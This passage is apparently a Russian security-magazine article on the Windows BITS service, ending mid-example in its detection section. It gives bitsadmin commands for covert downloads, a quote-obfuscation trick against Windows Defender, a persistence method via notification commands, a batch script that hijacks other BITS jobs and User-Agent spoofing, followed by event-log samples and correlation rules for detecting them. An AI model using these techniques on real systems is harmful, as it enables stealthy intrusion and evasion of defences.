Се­год­ня мы с тобой под­робно рас­смот­рим служ­бу интеллек­туаль­ной переда­чи фай­лов в Windows, она же BITS (Background Intelligent Transfer Service). Она может не толь­ко выпол­нять пря­мое пред­назна­чение, но и помогать хакерам и пен­тесте­рам оста­вать­ся незаме­чен­ными при ата­ках на Windows. Заод­но обсу­дим, как обе­зопа­сить сис­тему от про­ник­новения.

BITS — это сер­вис, пред­назна­чен­ный для заг­рузки и отправ­ки фай­лов на сер­веры HTTP и SMB. Клю­чевые воз­можнос­ти BITS:

BITS работа­ет с «задани­ями» (job, задача). Задание — это кон­тей­нер, который содер­жит один или нес­коль­ко фай­лов для переда­чи и свой­ства, опре­деля­ющие, как переда­вать фай­лы. У каж­дого задания есть при­ори­тет. Задания с высоким при­ори­тетом обра­баты­вают­ся быс­трее, чем осталь­ные. При соз­дании задачи опре­деля­ется один из трех ти­пов:

Состояния задач BITS

За­дача BITS может находить­ся в сос­тоянии одно­го из четырех клас­сов: starting, action, transferred и final, которые мы рас­смот­рим ниже.

Начальное состояние (starting)

Жиз­ненный цикл задания BITS начина­ется с его соз­дания. Началь­ное сос­тояние — BG_JOB_STATE_SUSPENDED (задание BITS при­оста­нов­лено). В этом сос­тоянии ты можешь добавить фай­лы в задание и уста­новить его свой­ства. Для выпол­нения задания можем выпол­нить метод Resume. Если ты решишь выпол­нить задание без фай­лов, оно вер­нет код ошиб­ки BG_E_EMPTY и задание оста­нет­ся при­оста­нов­ленным.

Поль­зователь, который соз­дал задание BITS, явля­ется его вла­дель­цем (поль­зователь с при­виле­гиями адми­нис­тра­тора может стать вла­дель­цем любой задачи). Задача BITS выпол­няет­ся, ког­да поль­зователь авто­ризо­ван в сис­теме с инте­рак­тивным типом вхо­да.

Состояние действия (action)

К это­му клас­су отно­сят­ся сле­дующие сос­тояния:

Сос­тояние задания меня­ется меж­ду ста­туса­ми, пока BITS не передаст все фай­лы из него. Если задача не выпол­нится в течение выделен­ного вре­мени, она воз­вра­щает­ся в сос­тояние BG_JOB_STATE_QUEUED и начина­ется переда­ча из сле­дующе­го задания.

Состояния передачи (transferred)

За­дача перехо­дит в сос­тояние BG_JOB_STATE_TRANSFERRED (переда­ча дан­ных успешно выпол­нена), ког­да фай­лы переда­ны. Даль­ше ты дол­жен либо отме­нить, либо завер­шить работу это­го задания.

Для успешно­го выпол­нения дол­жны быть переда­ны все фай­лы, ина­че задание завер­шится ошиб­кой — BG_JOB_STATE_ERROR (про­изош­ла неис­пра­вимая ошиб­ка, служ­ба не может передать файл).

Окончательные состояния (final)

Как толь­ко задача перей­дет в окон­чатель­ное сос­тояние, ты не смо­жешь ее изме­нить. Задание будет в сос­тоянии BG_JOB_STATE_ACKNOWLEDGED (под­твержда­ет успешное выпол­нение задания) пос­ле вызова Complete, и все заг­ружен­ные фай­лы будут сох­ранены. При вызове метода Cancel опе­раци­онная сис­тема уда­лит заг­ружен­ные фай­лы и сос­тояние задачи перей­дет в BG_JOB_STATE_CANCELLED (задание отме­нено, уда­лено из оче­реди). Задания, которые не перей­дут в окон­чатель­ное сос­тояние, будут авто­мати­чес­ки отме­нены.

Как менять состояния задач

По­ка задание не находит­ся в одном из окон­чатель­ных сос­тояний, ты можешь выз­вать любой из четырех методов для его изме­нения:

Эксплуатация BITS

Для работы с BITS ты можешь исполь­зовать ути­литу bitsadmin.exe, которая поз­воля­ет управлять задача­ми BITS, либо коман­дле­ты PowerShel

Пос­ле крат­кого зна­комс­тва с BITS у тебя уже дол­жны появить­ся идеи, как мож­но экс­плу­ати­ровать эту служ­бу. В мат­рице MITRE ATT&CK BITS упо­мина­ется в нес­коль­ких так­тиках:

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

BITS может поз­волить хакерам спря­тать соз­дание про­цес­са и сетево­го соеди­нения за сво­ей служ­бой. Впро­чем, некото­рые EDR и EPP уже обна­ружи­вают такие попыт­ки.

Служ­бу мож­но запус­тить так:

C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS

При пен­тесте BITS может при­годить­ся для раз­ных задач:

Дей­ствия, опи­сан­ные ниже, так­же мож­но выпол­нить с помощью коман­дле­тов PowerShell:

Под­робно оста­нав­ливать­ся на них мы не будем.

Создаем задачу для загрузки файла или локального копирования

Для соз­дания задачи, которая будет заг­ружать файл с уда­лен­ного ресур­са, можем выпол­нить коман­ды ниже.

# Создаем задачу с именем hacks
bitsadmin /create hacks
# Добавляем файл для загрузки
bitsadmin /addfile hacks http://example.com/file.txt C:\users\d3f0x0\Downloads\test.txt
# А если для копирования, то
bitsadmin /addfile hacks C:\Users\qwer\1.txt c:\users\qwer\qwer11.qwer1
# Вызываем задачу, используя метод resume
bitsadmin /resume hacks
# Подтверждаем выполнение задачи
bitsadmin /complete hacks

Как ты дума­ешь, что тебя ждет на эта­пе добав­ления локаль­ного фай­ла в задачу для копиро­вания? Пра­виль­но, Windows Defender нач­нет ругать­ся и выдавать сооб­щение Trojan:Win32/BITSAbuse.AS.

Мо­жем по‑быс­тро­му подоб­рать количес­тво кавычек для обфуска­ции коман­ды и получим

b"it"sa"dm"in /addfile hacks c:\Users\qwer\1.txt c:\users\qwer\qwer11.qwer1

Ес­ли запус­тить эту коман­ду, файл все же добавит­ся в задачу, а детект сра­бота­ет уже пос­ле это­го.

www

Под­робнее про обфуска­цию cmd/bat можешь по­читать в бло­ге Red Team Notes.

Выполняем нагрузку и закрепляемся в системе

В отли­чие от пре­дыду­щего спо­соба, у нас добав­ляет­ся исполь­зование коман­ды для нас­трой­ки уве­дом­ления bitsadmin /SetNotifyCmdLine.

# Создаем задачу с именем hacks
bitsadmin /create hacks
# Добавляем файл для загрузки
bitsadmin /addfile hacks "C:\Users\qwer\1.txt" c:\users\qwer\qwer11.qwer1
# Установка уведомления, запуск c:\windows\system32\cmd.exe
bitsadmin /SetNotifyCmdLine hacks c:\windows\system32\cmd.exe NULL
# Вызываем задачу, используя метод resume
bitsadmin /resume hacks
# Подтверждаем выполнение задачи
bitsadmin /complete hacks

Да­вай поз­накомим­ся с механиз­мом уве­дом­лений под­робнее. Мы уже зна­ем, что для его уста­нов­ки исполь­зует­ся аргу­мент SetNotifyCmdLine. Остался воп­рос, ког­да сра­бота­ет уве­дом­ление. Обра­тим­ся к докумен­тации и уви­дим, что опре­деле­ны че­тыре типа уве­дом­лений:

Для уста­нов­ки типа уве­дом­лений можешь исполь­зовать коман­ду

bitsadmin /SETNOTIFYFLAGS hacks 1

Ус­танов­ленная для уве­дом­ления коман­да будет дочер­ним про­цес­сом служ­бы BITS. Но нуж­но пом­нить, что соз­дание дочер­них про­цес­сов от svchost.exe не менее подоз­ритель­но, чем запуск ути­лит для работы с BITS. Тем не менее такой метод может поз­волить обой­ти некото­рые поведен­ческие модули.

Ку­да более ред­кое при­мене­ние BITS — это зак­репле­ние в сис­теме. Для это­го мож­но исполь­зовать все те же коман­ды, что я при­водил выше. Дело в том, что, если выз­ванная в рам­ках уве­дом­ления прог­рамма не отме­нила (cancel) или не завер­шила (complete) задание, BITS сно­ва ее вызовет по исте­чении минималь­ной задер­жки (по умол­чанию это 600 секунд). Для изме­нения зна­чения можем исполь­зовать такую коман­ду:

bitsadmin /setminretrydelay hacks 35

Пос­ле это­го BITS будет вызывать уве­дом­ление каж­дые 35 секунд, пока задача не перей­дет в финаль­ное сос­тояние.

Воз­ника­ет воп­рос: как дол­го может работать такая задача? Для это­го есть параметр NoProgressTimeout, зна­чение которо­го — 1 209 600 секунд (14 дней). Изме­нить зна­чение можешь такой коман­дой:

bitsadmin /setnoprogresstimeout myDownloadJob 20

В резуль­тате ты смо­жешь зак­репить­ся в сис­теме, если не выпол­нишь коман­ду bitsadmin /complete hacks или bitsadmin /cancel hacks.

Соз­даем задачу с име­нем hacks:

bitsadmin /create hacks

До­бав­ляем файл для заг­рузки:

bitsadmin /addfile hacks "C:\Users\qwer\1.txt" c:\users\qwer\qwer11.qwer1

Ус­тановим уве­дом­ление и запус­тим cmd.exe:

bitsadmin /SetNotifyCmdLine hacks c:\windows\system32\cmd.exe NULL

Вы­зыва­ем задачу, исполь­зуя метод resume:

bitsadmin /resume hacks

И конеч­но, не под­твержда­ем или не отме­няем выпол­нение задачи.

BITS Tamparing

Поль­зователь может прос­мотреть спи­сок сво­их задач, а локаль­ный адми­нис­тра­тор — спи­сок задач всех поль­зовате­лей.

Прос­мотр сво­их задач:

bitsadmin /list /verbose

Прос­мотр задач всех поль­зовате­лей:

bitsadmin /list /verbose /allusers

Для при­оста­нов­ки задачи можем выпол­нить коман­ду bitsadmin /suspend hacks. Пом­нишь, что мы можем менять свой­ства задачи в сос­тоянии BG_JOB_STATE_SUSPENDED?

Ду­маю, ты уже уви­дел здесь воз­можность скры­вать свои дей­ствия за легитим­ными задача­ми. Мы можем добавить фай­лы к задаче для заг­рузки или уста­новить уве­дом­ление, если она соз­дана в кон­тек­сте текуще­го поль­зовате­ля.

Те­перь отве­тим на нес­коль­ко воп­росов:

Об­ратим­ся к жур­налу событий:

Microsoft-Windows-Bits-Client/Operational

Под­робнее мы его рас­смот­рим поз­же. Сей­час нас инте­ресу­ет толь­ко событие с EventID = 3 (соз­дание задачи).

info

О том, как работать с жур­налами EVTX из коман­дной стро­ки, можешь почитать в мо­ей статье на «Хаб­рахаб­ре».

Да­вай отфиль­тру­ем события и сде­лаем груп­пиров­ку, исполь­зуя PowerShell:

Get-WinEvent @{logname="Microsoft-Windows-Bits-Client/Operational";ID=3} | Group-Object {$_.Properties[2].value},{$_.Properties[3].value} | Select-Object Name, Count | Format-List

Ре­зуль­тат работы коман­ды пред­став­лен на скрин­шоте ниже.

Результат работы команды
Ре­зуль­тат работы коман­ды

Уч­ти, что хост, для которо­го при­веде­на ста­тис­тика, не в домене и акти­вен менее недели. Как видишь, шанс для нашей шалос­ти есть. В качес­тве PoC можем исполь­зовать скрипт, при­веден­ный ниже.

@echo off
setlocal
REM Замените на URL вашего файла
set "filePath=http://example.com/file.zip"
REM Замените на путь назначения
set "destinationPath=C:\users\qwer\file.zip"
set "taskName="
:checkTask
REM Получение имени первой задачи BITS
for /f "tokens=1" %%i in ('bitsadmin /list ^| findstr /i "TRANSFER"') do (
set "taskName=%%i"
goto :taskFound
)
echo Задачи BITS не найдены. Ожидание 5 секунд перед повторной проверкой...
timeout /t 5 >nul
goto checkTask
:taskFound
echo Найдено имя задачи: %taskName%
REM Перевод задачи в статус suspend
echo Приостановка задачи "%taskName%"...
bitsadmin /suspend "%taskName%"
REM Добавление файла для загрузки
echo Добавление файла "%filePath%" для загрузки...
bitsadmin /addfile "%taskName%" "%filePath%" "%destinationPath%"
REM Возобновление задачи
echo Возобновление задачи "%taskName%"...
bitsadmin /resume "%taskName%"
echo Готово.
endlocal

Скрипт про­веря­ет, выпол­няет­ся ли задача, перево­дит ее в сос­тояние BG_JOB_STATE_SUSPENDED, добав­ляет файл и вызыва­ет ее.

При выпол­нении скрип­та монито­ринг, если он нас­тро­ен, ска­жет тебе спа­сибо, так как выпол­няемые коман­ды породят огромное количес­тво событий соз­дания про­цес­сов bitsadmin.exe. Но не сто­ит отча­ивать­ся, мы можем написать исполня­емый файл, который будет исполь­зовать COM-интерфейс для работы с BITS.

Скрытие в HTTP-трафике

При под­клю­чении к HTTP-сер­веру BITS исполь­зует заголо­вок User-Agent: MicrosoftBITS/<версия bits>, это может поз­волить синей коман­де тебя обна­ружить. Для обна­руже­ния оста­лось соз­дать про­филь с доверен­ными сер­верами, и дело в шля­пе, но раз­работ­чики BITS позабо­тились о воз­можнос­ти задать кас­томные HTTP-заголов­ки. Изме­нить User-Agent можем такой коман­дой:

bitsadmin /setcustomheaders hacks User-Agent:hacker

Обнаружение

Даль­ше мы рас­смот­рим нес­коль­ко тех­ник, опи­раясь на сле­дующие юзкей­сы:

Для обна­руже­ния будем писать пра­вила на язы­ке eXtraction and Processing.

Журнал подсистемы BITS

Жур­нал под­систе­мы BITS мы рас­смот­рим под­робнее, чем осталь­ные, он рас­положен вот по такому пути:

Microsoft-Windows-Bits-Client/Operational

Нам инте­рес­ны эти события:

К сожале­нию, нет события «уве­дом­ление соз­дано». При успешном выпол­нении задачи мы можем уви­деть в жур­нале такую пос­ледова­тель­ность событий: 3 → 59 → 60 → 4.

При­мер события: соз­дана новая задача BITS
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" />
<EventID>3</EventID>
<Version>2</Version>
<Level>4</Level>
<Task>0</Task>
<Opcode>0</Opcode>
<Keywords>0x4000000000000000</Keywords>
<TimeCreated SystemTime="**2024-07-29T01:24:56.717754300Z**" />
<EventRecordID>1784</EventRecordID>
<Correlation />
<Execution ProcessID="**5156**" ThreadID="**4240**" />
<Channel>Microsoft-Windows-Bits-Client/Operational</Channel>
<Computer>DESKTOP-5SG4NV1</Computer>
<Security UserID="**S-1-5-18**" />
</System>
<EventData>
<Data Name="**jobTitle**">C:\Users\qwer\AppData\Local\Temp\{180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.3.195.15.exe</Data>
<Data Name="**jobId**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}</Data>
<Data Name="**jobOwner**">DESKTOP-5SG4NV1\qwer</Data>
<Data Name="**processPath**">C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe</Data>
<Data Name="**processId**">4572</Data>
</EventData>
</Event>

Ин­терес­ные нам поля:

При­мер события: задача BITS запуще­на
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" />
<EventID>59</EventID>
<Version>1</Version>
<Level>4</Level>
<Task>0</Task>
<Opcode>1</Opcode>
<Keywords>0x4000000000000000</Keywords>
<TimeCreated SystemTime="**2024-07-29T01:24:56.996349300Z**" />
<EventRecordID>1785</EventRecordID>
<Correlation ActivityID="**{FB9C74E7-8E45-4692-AEBB-948DFCB84498}**" />
<Execution ProcessID="**5156**" ThreadID="**2992**" />
<Channel>Microsoft-Windows-Bits-Client/Operational</Channel>
<Computer>DESKTOP-5SG4NV1</Computer>
<Security UserID="**S-1-5-18**" />
</System>
<EventData>
<Data Name="**transferId**">{FB9C74E7-8E45-4692-AEBB-948DFCB84498}</Data>
<Data Name="**name**">C:\Users\qwer\AppData\Local\Temp\{180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.3.195.15.exe</Data>
<Data Name="**Id**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}</Data>
<Data Name="**url**">http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/323fa7f7-4445-4137-82ec-71528949182a?P1=1722785097&P2=404&P3=2&P4=b%2farCiRMdKqBSgtd8%2bV%2bbnK29zSLqbnBPZJeUgvlbM7rZTcljJhLwZMe4jsUespcM4FyazgXeWCs9xKWieG4pA%3d%3d</Data>
<Data Name="**peer**" />
<Data Name="**fileTime**">2024-07-24T21:10:59.000000000Z</Data>
<Data Name="**fileLength**">1645112</Data>
<Data Name="**bytesTotal**">1645112</Data>
<Data Name="**bytesTransferred**">0</Data>
<Data Name="**bytesTransferredFromPeer**">0</Data>
</EventData>
</Event>

Ин­терес­ные поля:

При­мер события: задача BITS оста­нов­лена
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" />
<EventID>60</EventID>
<Version>1</Version>
<Level>4</Level>
<Task>0</Task>
<Opcode>2</Opcode>
<Keywords>0x4000000000000000</Keywords>
<TimeCreated SystemTime="**2024-07-29T01:25:20.322452500Z**" />
<EventRecordID>1786</EventRecordID>
<Correlation ActivityID="**{FB9C74E7-8E45-4692-AEBB-948DFCB84498}**" />
<Execution ProcessID="**5156**" ThreadID="**7624**" />
<Channel>Microsoft-Windows-Bits-Client/Operational</Channel>
<Computer>DESKTOP-5SG4NV1</Computer>
<Security UserID="**S-1-5-18**" />
</System>
<EventData>
<Data Name="**transferId**">{FB9C74E7-8E45-4692-AEBB-948DFCB84498}</Data>
<Data Name="**name**">C:\Users\qwer\AppData\Local\Temp\{180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.3.195.15.exe</Data>
<Data Name="**Id**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}</Data>
<Data Name="**url**">http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/323fa7f7-4445-4137-82ec-71528949182a?P1=1722785097&P2=404&P3=2&P4=b%2farCiRMdKqBSgtd8%2bV%2bbnK29zSLqbnBPZJeUgvlbM7rZTcljJhLwZMe4jsUespcM4FyazgXeWCs9xKWieG4pA%3d%3d</Data>
<Data Name="**peer**" />
<Data Name="**hr**">0</Data>
<Data Name="**fileTime**">2024-07-24T21:10:59.000000000Z</Data>
<Data Name="**fileLength**">1645112</Data>
<Data Name="**bytesTotal**">1645112</Data>
<Data Name="**bytesTransferred**">1645112</Data>
<Data Name="**proxy**" />
<Data Name="**peerProtocolFlags**">0</Data>
<Data Name="**bytesTransferredFromPeer**">0</Data>
<Data Name="**AdditionalInfoHr**">0</Data>
<Data Name="**PeerContextInfo**">0</Data>
<Data Name="**bandwidthLimit**">18446744073709551615</Data>
<Data Name="**ignoreBandwidthLimitsOnLan**">false</Data>
</EventData>
</Event>

Ин­терес­ные поля:

При­мер события: задача BITS завер­шена
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" />
<EventID>4</EventID>
<Version>1</Version>
<Level>4</Level>
<Task>0</Task>
<Opcode>0</Opcode>
<Keywords>0x4000000000000000</Keywords>
<TimeCreated SystemTime="**2024-07-29T01:25:20.323389200Z**" />
<EventRecordID>1787</EventRecordID>
<Correlation />
<Execution ProcessID="**5156**" ThreadID="**460**" />
<Channel>Microsoft-Windows-Bits-Client/Operational</Channel>
<Computer>DESKTOP-5SG4NV1</Computer>
<Security UserID="**S-1-5-18**" />
</System>
<EventData>
<Data Name="**User**">DESKTOP-5SG4NV1\qwer</Data>
<Data Name="**jobTitle**">C:\Users\qwer\AppData\Local\Temp\{180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.3.195.15.exe</Data>
<Data Name="**jobId**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}</Data>
<Data Name="**jobOwner**">DESKTOP-5SG4NV1\qwer</Data>
<Data Name="**fileCount**">1</Data>
<Data Name="**bytesTransferred**">1645112</Data>
<Data Name="**bytesTransferredFromPeer**">0</Data>
</EventData>
</Event>

Ин­терес­ные поля:

Обнаруживаем создание и завершение задачи

Да­вай напишем пра­вило обна­руже­ния рас­смот­ренной цепоч­ки событий.

event Bits_create_job:
key:
event_src.host, object.id
filter {
msgid == "3"
and event_src.id == "Microsoft-Windows-Bits-Client"
}
event Bits_started_download:
key:
event_src.host, object.id
filter {
msgid == "59"
and event_src.id == "Microsoft-Windows-Bits-Client"
}
event Bits_fininished_job:
key:
event_src.host, object.id
filter {
msgid == "4"
and event_src.id == "Microsoft-Windows-Bits-Client"
}
rule Create_bits_job_and_download: (Bits_create_job -> Bits_started_download ->Bits_fininished_job) timer 30m

Ес­ли в течение 30 минут будут события соз­дания, запус­ка и завер­шения задачи с оди­нако­вым иден­тифика­тором, зарегис­три­рует­ся кор­реляци­онное событие.

Создание задачи BITS подозрительным процессом

За­дачи BITS соз­дают­ся про­цес­сами сис­темы или при­ложе­ний. Ты можешь сде­лать таб­личный спи­сок с доверен­ными про­цес­сами. Давай напишем пра­вило кор­реляции, которое про­веря­ет про­цесс в спис­ке и соз­дает событие инци­ден­та. Нам понадо­бит­ся событие с EventID = 3 и белый спи­сок BITS_process_whitelist.

query CheckProcess($fullpath) from BITS_process_whitelist {
regex_match($fullpath, column::fullpath)
}
event Bits_create_job:
key:
event_src.host
filter {
msgid == "3"
and event_src.id == "Microsoft-Windows-Bits-Client"
and select_query_first("CheckProcess", [lower(object.process.fullpath)], "fullpath") == null
}
rule Create_bits_job_suspicious_process: Bits_create_job

Создание дочернего процесса службой BITS

Про­цесс, уста­нов­ленный в качес­тве уве­дом­ления для задачи BITS, запус­кает­ся от родитель­ско­го про­цес­са служ­бы BITS:

C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS

При­мер события — ниже.

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" />
<EventID>1</EventID>
<Version>5</Version>
<Level>4</Level>
<Task>1</Task>
<Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords>
<TimeCreated SystemTime="**2024-08-09T19:28:36.1518177Z**" />
<EventRecordID>6417785</EventRecordID>
<Correlation />
<Execution ProcessID="**6208**" ThreadID="**1520**" />
<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>DESKTOP-U2FH49E</Computer>
<Security UserID="**S-1-5-18**" />
</System>
<EventData>
<Data Name="**RuleName**">-</Data>
<Data Name="**UtcTime**">2024-08-09 19:28:36.150</Data>
<Data Name="**ProcessGuid**">{95af35c7-6de4-66b6-2b09-000000000400}</Data>
<Data Name="**ProcessId**">4384</Data>
<Data Name="**Image**">C:\Windows\System32\cmd.exe</Data>
<Data Name="**FileVersion**">10.0.19041.4355 (WinBuild.160101.0800)</Data>
<Data Name="**Description**">Windows Command Processor</Data>
<Data Name="**Product**">Microsoft® Windows® Operating System</Data>
<Data Name="**Company**">Microsoft Corporation</Data>
<Data Name="**OriginalFileName**">Cmd.Exe</Data>
<Data Name="**CommandLine**">"c:\windows\system32\cmd.exe"</Data>
<Data Name="**CurrentDirectory**">C:\Windows\system32\</Data>
<Data Name="**User**">DESKTOP-U2FH49E\qwer</Data>
<Data Name="**LogonGuid**">{95af35c7-1d58-66b5-45b9-010000000000}</Data>
<Data Name="**LogonId**">0x1b945</Data>
<Data Name="**TerminalSessionId**">1</Data>
<Data Name="**IntegrityLevel**">Medium</Data>
<Data Name="**Hashes**">SHA1=DF79C86FDD11B9CCB89148458E509F879C72566C,MD5=2B40C98ED0F7A1D3B091A3E8353132DC,SHA256=BADF4752413CB0CBDC03FB95820CA167F0CDC63B597CCDB5EF43111180E088B0,IMPHASH=272245E2988E1E430500B852C4FB5E18</Data>
<Data Name="**ParentProcessGuid**">{95af35c7-6ba5-66b6-b708-000000000400}</Data>
<Data Name="**ParentProcessId**">2720</Data>
<Data Name="**ParentImage**">C:\Windows\System32\svchost.exe</Data>
<Data Name="**ParentCommandLine**">C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS</Data>
<Data Name="**ParentUser**">NT AUTHORITY\СИСТЕМА</Data>
</EventData>
</Event>

А вот пра­вило для обна­руже­ния подоб­ной активнос­ти.

event Process_Start:
key:
event_src.host
filter {
filter::NotFromCorrelator()
and filter::ProcessStart_Windows_any()
and match(lower(object.process.parent.cmdline), "* -k netsvcs -p -s bits")
}
rule Start_BITS_Notifycmdline: (Process_Start+) timer 5m

Пра­вило обна­ружи­вает соз­дание дочер­них про­цес­сов служ­бой BITS.

Обнаружение загрузки DLL

Для вза­имо­дей­ствия с BITS исполь­зуют­ся две основные биб­лиоте­ки:

Ни­же — при­меры событий Sysmon с EventID = 7. Заг­рузим вто­рую биб­лиоте­ку.

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" />
<EventID>7</EventID>
<Version>3</Version>
<Level>4</Level>
<Task>7</Task>
<Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords>
<TimeCreated SystemTime="**2024-08-10T20:29:36.5882941Z**" />
<EventRecordID>7413641</EventRecordID>
<Correlation />
<Execution ProcessID="**6208**" ThreadID="**1520**" />
<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>DESKTOP-U2FH49E</Computer>
<Security UserID="**S-1-5-18**" />
</System>
<EventData>
<Data Name="**RuleName**">-</Data>
<Data Name="**UtcTime**">2024-08-10 20:29:36.580</Data>
<Data Name="**ProcessGuid**">{95af35c7-cdac-66b7-da0e-000000000400}</Data>
<Data Name="**ProcessId**">6968</Data>
<Data Name="**Image**">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>
<Data Name="**ImageLoaded**">C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll</Data>
<Data Name="**FileVersion**">7.8.19041.3636 (WinBuild.160101.0800)</Data>
<Data Name="**Description**">Microsoft Windows BITS Managed Library</Data>
<Data Name="**Product**">Microsoft® Windows® Operating System</Data>
<Data Name="**Company**">Microsoft Corporation</Data>
<Data Name="**OriginalFileName**">Microsoft.Windows.BackgroundIntelligentTransfer.dll</Data>
<Data Name="**Hashes**">SHA1=2785F110A4A36D976A361FD9B679A0F70BF02CB1,MD5=BDE937891014AFEC14D9BE150DD0D813,SHA256=BB30E0267780BE6C5E2FBFB65C7E87147049B4088126974185848D2DDA5A484D,IMPHASH=6FA5B0E24FA9A5CEB565C17E9AE09990</Data>
<Data Name="**Signed**">true</Data>
<Data Name="**Signature**">Microsoft Windows</Data>
<Data Name="**SignatureStatus**">Valid</Data>
<Data Name="**User**">DESKTOP-U2FH49E\qwer</Data>
</EventData>
</Event>

Заг­рузка биб­лиоте­ки BitsProxy.dll.

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" />
<EventID>7</EventID>
<Version>3</Version>
<Level>4</Level>
<Task>7</Task>
<Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords>
<TimeCreated SystemTime="**2024-08-10T20:29:36.6217377Z**" />
<EventRecordID>7413644</EventRecordID>
<Correlation />
<Execution ProcessID="**6208**" ThreadID="**1520**" />
<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>DESKTOP-U2FH49E</Computer>
<Security UserID="**S-1-5-18**" />
</System>
<EventData>
<Data Name="**RuleName**">-</Data>
<Data Name="**UtcTime**">2024-08-10 20:29:36.612</Data>
<Data Name="**ProcessGuid**">{95af35c7-cdac-66b7-da0e-000000000400}</Data>
<Data Name="**ProcessId**">6968</Data>
<Data Name="**Image**">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>
<Data Name="**ImageLoaded**">C:\Windows\System32\BitsProxy.dll</Data>
<Data Name="**FileVersion**">7.8.19041.1 (WinBuild.160101.0800)</Data>
<Data Name="**Description**">Background Intelligent Transfer Service Proxy</Data>
<Data Name="**Product**">Microsoft® Windows® Operating System</Data>
<Data Name="**Company**">Microsoft Corporation</Data>
<Data Name="**OriginalFileName**">qmgrprxy.dll</Data>
<Data Name="**Hashes**">SHA1=F76CEB9DA1BD2F4E9C02E49758C654630518A066,MD5=B3E2BAEAD079C29BC16CAA7830A17FA6,SHA256=E72BF2ADCE95F764BD880A458B04BA0BEBB0EBA7EB3473A29FDBE3A98F1A86D5,IMPHASH=44BEE37A834D6E66277D9ADD2D131FC2</Data>
<Data Name="**Signed**">true</Data>
<Data Name="**Signature**">Microsoft Windows</Data>
<Data Name="**SignatureStatus**">Valid</Data>
<Data Name="**User**">DESKTOP-U2FH49E\qwer</Data>
</EventData>
</Event>

Для обна­руже­ния будем исполь­зовать уже извес­тный тебе таб­личный спи­сок BITS_process_whitelist. В пра­виле про­верим, что про­цесс не вхо­дит в таб­личный спи­сок и имя заг­ружа­емо­го модуля сов­пада­ет с инте­ресу­ющим нас.

query CheckProcess($fullpath) from BITS_process_whitelist {
regex_match($fullpath, column::fullpath)
}
event Image_load:
key:
event_src.host
filter {
filter::NotFromCorrelator()
and msgid == "7" and event_src.title == "sysmon"
and select_query_first("CheckProcess", [lower(subject.process.fullpath)], "fullpath") == null
and in_list(["bitsproxy.dll", "microsoft.backgroundintelligenttransfer.management.interop.dll"], lower(object.process.name))
}
rule Used_bits_over_custom_binary: Image_load[1,5] timer 1m

Создание временного файла

Ес­ли ты пом­нишь, заг­ружен­ные фай­лы ста­новят­ся дос­тупны толь­ко пос­ле перехо­да задания в сос­тояние BG_JOB_STATE_ACKNOWLEDGED. До того момен­та заг­ружен­ные фай­лы име­ют наз­вание такого вида: BIT[\d\w]+\.tmp, нап­ример: BITD1F5.tmp. Ниже — при­мер события.

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" />
<EventID>11</EventID>
<Version>2</Version>
<Level>4</Level>
<Task>11</Task>
<Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords>
<TimeCreated SystemTime="**2024-08-03T11:58:21.3914420Z**" />
<EventRecordID>55765</EventRecordID>
<Correlation />
